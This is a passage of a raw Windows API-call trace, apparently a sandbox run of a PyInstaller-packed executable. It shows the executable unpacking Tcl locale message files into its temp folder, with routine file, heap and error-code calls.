dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ph.msg") returned 64 [0037.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ph.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_ph.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.114] GetLastError () returned 0x2 [0037.114] SetLastError (dwErrCode=0x2) [0037.114] GetLastError () returned 0x2 [0037.115] SetLastError (dwErrCode=0x2) [0037.115] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ph.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ph.msg", lpFilePart=0x0) returned 0x3f [0037.115] GetLastError () returned 0x2 [0037.115] SetLastError (dwErrCode=0x2) [0037.115] GetLastError () returned 0x2 [0037.115] SetLastError (dwErrCode=0x2) [0037.115] GetLastError () returned 0x2 [0037.115] SetLastError (dwErrCode=0x2) [0037.115] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ph.msg") returned 64 [0037.115] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ph.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_ph.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.115] GetFileType (hFile=0x10c) returned 0x1 [0037.115] htonl (hostlong=0x41010000) returned 0x141 [0037.115] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.115] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x141, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x141, lpOverlapped=0x0) returned 1 [0037.116] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.116] CloseHandle (hObject=0x10c) returned 1 [0037.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.117] htonl (hostlong=0x30000000) returned 0x30 [0037.117] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.117] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.117] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.117] GetFileType (hFile=0x10c) returned 0x1 [0037.117] htonl (hostlong=0x8b465700) returned 0x57468b [0037.117] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf68b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.117] htonl (hostlong=0x9f000000) returned 0x9f [0037.117] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.117] htonl (hostlong=0x9f000000) returned 0x9f [0037.117] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.117] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.117] htonl (hostlong=0xfb000000) returned 0xfb [0037.117] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.117] htonl (hostlong=0x9f000000) returned 0x9f [0037.117] htonl (hostlong=0xfb000000) returned 0xfb [0037.117] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.117] CloseHandle (hObject=0x10c) returned 1 [0037.118] GetLastError () returned 0x0 [0037.118] SetLastError (dwErrCode=0x0) [0037.118] GetLastError () returned 0x0 [0037.118] SetLastError (dwErrCode=0x0) [0037.118] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.118] GetFileType (hFile=0x10c) returned 0x1 [0037.118] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.118] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.118] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.118] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.118] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.118] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.118] CloseHandle (hObject=0x10c) returned 1 [0037.118] GetLastError () returned 0x0 [0037.118] SetLastError (dwErrCode=0x0) [0037.118] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.118] GetFileType (hFile=0x10c) returned 0x1 [0037.118] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.118] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.118] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.119] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.119] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.119] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.119] CloseHandle (hObject=0x10c) returned 1 [0037.119] GetLastError () returned 0x0 [0037.119] SetLastError (dwErrCode=0x0) [0037.119] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_sg.msg") returned 64 [0037.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_sg.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_sg.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.119] GetLastError () returned 0x2 [0037.119] SetLastError (dwErrCode=0x2) [0037.119] GetLastError () returned 0x2 [0037.119] SetLastError (dwErrCode=0x2) [0037.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_sg.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_sg.msg", lpFilePart=0x0) returned 0x3f [0037.119] GetLastError () returned 0x2 [0037.119] SetLastError (dwErrCode=0x2) [0037.119] GetLastError () returned 0x2 [0037.119] SetLastError (dwErrCode=0x2) [0037.119] GetLastError () returned 0x2 [0037.119] SetLastError (dwErrCode=0x2) [0037.119] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_sg.msg") returned 64 [0037.119] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_sg.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_sg.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.120] GetFileType (hFile=0x10c) returned 0x1 [0037.120] htonl (hostlong=0xfb000000) returned 0xfb [0037.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.120] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.126] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.126] CloseHandle (hObject=0x10c) returned 1 [0037.127] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.127] htonl (hostlong=0x30000000) returned 0x30 [0037.127] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.127] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.127] GetFileType (hFile=0x10c) returned 0x1 [0037.127] htonl (hostlong=0x2a475700) returned 0x57472a [0037.127] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf72a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.127] htonl (hostlong=0x9d000000) returned 0x9d [0037.127] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9d) returned 0x55cfe0 [0037.127] htonl (hostlong=0x9d000000) returned 0x9d [0037.127] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.127] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.127] htonl (hostlong=0xf5000000) returned 0xf5 [0037.128] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf5) returned 0x550600 [0037.128] htonl (hostlong=0x9d000000) returned 0x9d [0037.128] htonl (hostlong=0xf5000000) returned 0xf5 [0037.128] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.128] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.128] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.128] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.128] CloseHandle (hObject=0x10c) returned 1 [0037.128] GetLastError () returned 0x0 [0037.128] SetLastError (dwErrCode=0x0) [0037.128] GetLastError () returned 0x0 [0037.128] SetLastError (dwErrCode=0x0) [0037.128] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.128] GetFileType (hFile=0x10c) returned 0x1 [0037.128] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.128] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.128] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.128] CloseHandle (hObject=0x10c) returned 1 [0037.128] GetLastError () returned 0x0 [0037.129] SetLastError (dwErrCode=0x0) [0037.129] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.129] GetFileType (hFile=0x10c) returned 0x1 [0037.129] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.129] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.129] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.129] CloseHandle (hObject=0x10c) returned 1 [0037.129] GetLastError () returned 0x0 [0037.129] SetLastError (dwErrCode=0x0) [0037.129] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_za.msg") returned 64 [0037.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_za.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_za.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.129] GetLastError () returned 0x2 [0037.129] SetLastError (dwErrCode=0x2) [0037.129] GetLastError () returned 0x2 [0037.129] SetLastError (dwErrCode=0x2) [0037.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_za.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_za.msg", lpFilePart=0x0) returned 0x3f [0037.129] GetLastError () returned 0x2 [0037.129] SetLastError (dwErrCode=0x2) [0037.129] GetLastError () returned 0x2 [0037.130] SetLastError (dwErrCode=0x2) [0037.130] GetLastError () returned 0x2 [0037.130] SetLastError (dwErrCode=0x2) [0037.130] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_za.msg") returned 64 [0037.130] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_za.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_za.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.130] GetFileType (hFile=0x10c) returned 0x1 [0037.130] htonl (hostlong=0xf5000000) returned 0xf5 [0037.130] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.131] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xf5, lpOverlapped=0x0) returned 1 [0037.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.131] CloseHandle (hObject=0x10c) returned 1 [0037.132] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.132] htonl (hostlong=0x30000000) returned 0x30 [0037.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.132] GetFileType (hFile=0x10c) returned 0x1 [0037.132] htonl (hostlong=0xc7475700) returned 0x5747c7 [0037.132] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf7c7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.132] htonl (hostlong=0x9f000000) returned 0x9f [0037.132] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.132] htonl (hostlong=0x9f000000) returned 0x9f [0037.132] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.132] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.133] htonl (hostlong=0xfb000000) returned 0xfb [0037.133] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.133] htonl (hostlong=0x9f000000) returned 0x9f [0037.133] htonl (hostlong=0xfb000000) returned 0xfb [0037.133] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.133] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.133] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.133] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.133] CloseHandle (hObject=0x10c) returned 1 [0037.133] GetLastError () returned 0x0 [0037.133] SetLastError (dwErrCode=0x0) [0037.133] GetLastError () returned 0x0 [0037.133] SetLastError (dwErrCode=0x0) [0037.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, 